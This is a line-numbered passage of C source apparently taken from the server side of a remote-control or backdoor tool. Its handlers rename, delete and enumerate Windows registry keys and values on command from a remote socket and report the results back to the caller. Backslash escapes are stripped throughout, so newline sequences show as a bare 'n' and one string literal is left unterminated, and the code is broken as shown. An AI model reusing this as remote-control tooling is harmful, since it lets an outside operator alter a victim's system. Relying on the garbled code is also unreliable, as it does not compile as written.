  795. BYTE *pData=NULL;
  796. RegQueryValueEx(key,svValueName,NULL,&dwType,NULL,&cbData);
  797. pData=(BYTE *)malloc(cbData);
  798. if(RegQueryValueEx(key,svValueName,NULL,NULL,pData,&cbData)!=ERROR_SUCCESS) {
  799. free(pData);
  800. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  801. RegCloseKey(key);
  802. wsprintf(svBuffer,"Could not rename value. Unable to query.n");
  803. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  804. return -1;
  805. }
  807. if(RegSetValueEx(key,svArg3,0,dwType,pData,cbData)!=ERROR_SUCCESS) {
  808. free(pData);
  809. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  810. RegCloseKey(key);
  811. wsprintf(svBuffer,"Could not rename value. Unable to set.n");
  812. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  813. return -1;
  814. }
  815. free(pData);
  817. if(RegDeleteValue(key,svValueName)!=ERROR_SUCCESS) {
  818. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  819. RegCloseKey(key);
  820. wsprintf(svBuffer,"Could not rename value. Value was copied, though.n");
  821. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  822. return -1;
  823. }
  825. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA)
  826. RegCloseKey(key);
  828. wsprintf(svBuffer,"Value renamed.n");
  829. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  830. return 0;
  831. }
  833. int CmdProc_RegEnumKeys(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  834. {
  835. char svBuffer[1024];
  837. // Get root key
  838. char *svKey,*svNext;
  839. HKEY key;
  840. svKey=GetRootKey(svArg2,&key);
  841. if(svKey==NULL) {
  842. IssueAuthCommandReply(cas_from,comid,0,"Unable to open key. Invalid root key.n");
  843. return -1;
  844. }
  846. // Open key hierarchy
  847. HKEY subkey;
  848. DWORD dwPerm=KEY_READ;
  849. while(svKey!=NULL) {
  850. svNext=BreakString(svKey,"\");
  851. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  852. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  853. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  854. RegCloseKey(key);
  855. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  856. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  857. return 1;
  858. }
  860. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  861. RegCloseKey(key);
  862. key = subkey;
  863. svKey = svNext;
  864. } 
  867. // Enumerate Keys
  868. int nCount;
  869. char svKeyBuf[MAX_PATH+1];
  870. nCount=0;
  872. IssueAuthCommandReply(cas_from,comid,1,"Subkeys:n");
  874. while(RegEnumKey(key,nCount,svKeyBuf,MAX_PATH)==ERROR_SUCCESS) {
  875. RegOpenKey(key,svKeyBuf,&subkey);
  876. DWORD keycount;
  877. RegQueryInfoKey(subkey,NULL,NULL,NULL,&keycount,NULL,NULL,NULL,NULL,NULL,NULL,NULL);
  878. if(keycount>0) {
  879. wsprintf(svBuffer,"  %s\n",svKeyBuf);
  880. } else {
  881. wsprintf(svBuffer,"  %sn",svKeyBuf);
  882. }
  883. RegCloseKey(subkey);
  884. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  885. nCount++;
  886. }
  887. wsprintf(svBuffer,"%d keysn",nCount);
  888. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  890. // Clean up
  891. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  892. RegCloseKey(key);
  894. return 0;
  895. }
  897. int CmdProc_RegEnumValues(CAuthSocket *cas_from, int comid, DWORD nArg1, char *svArg2, char *svArg3)
  898. {
  899. char svBuffer[1024];
  901. // Get root key
  902. char *svKey,*svNext;
  903. HKEY key;
  904. svKey=GetRootKey(svArg2,&key);
  905. if(svKey==NULL) {
  906. IssueAuthCommandReply(cas_from,comid,0,"Unable to list values. Invalid root key.n");
  907. return -1;
  908. }
  910. // Open key hierarchy
  911. HKEY subkey;
  912. DWORD dwPerm=KEY_READ;
  913. while(svKey!=NULL) {
  914. svNext=BreakString(svKey,"\");
  915. if(svNext==NULL) dwPerm=KEY_READ|KEY_WRITE;
  916. if(RegOpenKeyEx(key, svKey, 0, dwPerm, &subkey) != ERROR_SUCCESS) {
  917. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  918. RegCloseKey(key);
  919. wsprintf(svBuffer,"Unable to open subkey: %.256sn", svKey);
  920. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  921. return 1;
  922. }
  924. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  925. RegCloseKey(key);
  926. key = subkey;
  927. svKey = svNext;
  928. } 
  931. // Enumerate values
  932. int nCount;
  933. char svValueBuf[MAX_PATH+1];
  934. nCount=0;
  935. DWORD dwType, dwValueLen;
  936. char *svType;
  938. IssueAuthCommandReply(cas_from,comid,1,"Value type/names:n");
  939. dwValueLen=MAX_PATH;
  940. while(RegEnumValue(key,nCount,svValueBuf,&dwValueLen,NULL,&dwType,NULL,NULL)==ERROR_SUCCESS) {
  941. switch(dwType) {
  942. case REG_BINARY: svType="BINARY"; break;
  943. case REG_DWORD: svType="DWORD"; break;
  944. case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
  945. case REG_LINK: svType="LINK"; break;
  946. case REG_MULTI_SZ: svType="MULTI_SZ"; break;
  947. case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
  948. case REG_SZ: svType="SZ"; break;
  949. case REG_NONE: svType="NONE"; break;
  950. default: svType="UNKNOWN"; break;
  951. }
  953. wsprintf(svBuffer,"REG_%s: %sn",svType,svValueBuf);
  955. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  956. nCount++;
  957. dwValueLen=MAX_PATH;
  958. }
  960. /* // Spit out default value as well
  961. RegQueryValueEx(key,"",NULL,&dwType,NULL,NULL);
  962. switch(dwType) {
  963. case REG_BINARY: svType="BINARY"; break;
  964. case REG_DWORD: svType="DWORD"; break;
  965. case REG_EXPAND_SZ: svType="EXPAND_SZ"; break;
  966. case REG_LINK: svType="LINK"; break;
  967. case REG_MULTI_SZ: svType="MULTI_SZ"; break;
  968. case REG_RESOURCE_LIST: svType="RESOURCE_LIST"; break;
  969. case REG_SZ: svType="SZ"; break;
  970. case REG_NONE: svType="NONE"; break;
  971. default: svType="UNKNOWN"; break;
  972. }
  973. wsprintf(svBuffer,"REG_%s: n",svType);
  974. IssueAuthCommandReply(cas_from,comid,1,svBuffer);
  975. */
  977. wsprintf(svBuffer,"%d valuesn",nCount+1);
  978. IssueAuthCommandReply(cas_from,comid,0,svBuffer);
  980. // Clean up
  981. if(key!=HKEY_LOCAL_MACHINE && key!=HKEY_USERS && key!=HKEY_CLASSES_ROOT && key!=HKEY_CURRENT_USER && key!=HKEY_CURRENT_CONFIG && key!=HKEY_DYN_DATA) 
  982. RegCloseKey(key);
  984. return 0;
  985. }